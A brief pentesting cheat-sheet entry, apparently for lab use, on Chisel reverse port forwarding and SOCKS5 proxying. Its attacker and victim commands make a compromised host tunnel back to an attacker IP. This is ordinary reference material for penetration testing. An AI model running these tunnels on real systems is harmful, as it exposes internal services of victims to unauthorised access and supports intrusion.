Chisel

November 28, 2021  

Chisel

Definición

Chisel is a tool located at github, with which we can do port forwarding.

Port Forwarding

Usage

• Attacker:
  • chisel server --reverse --port <chisel port>
• Victim:
  • chisel client <Attacker IP>:<Chisel port> R:<Service Port at Attacker Host>:<IP where the victim accesss (it can be loopback)>:<Service Port>

Example

• Attacker:
  • chisel server --reverse --port 1234
• Victim:
  • chisel client 10.10.14.14:1234 R:8888:127.0.0.1:8888

Dynamic Port Forwarding (proxy)

Same as -D option in ssh but with chisel

• Attacker:
  • chisel server --reverse --port 1234 --socks5
• Victim:
  • chisel client 10.10.14.14:1234 R:socks

And then chisel will start a SOCK5 proxy in 127.0.0.1:1080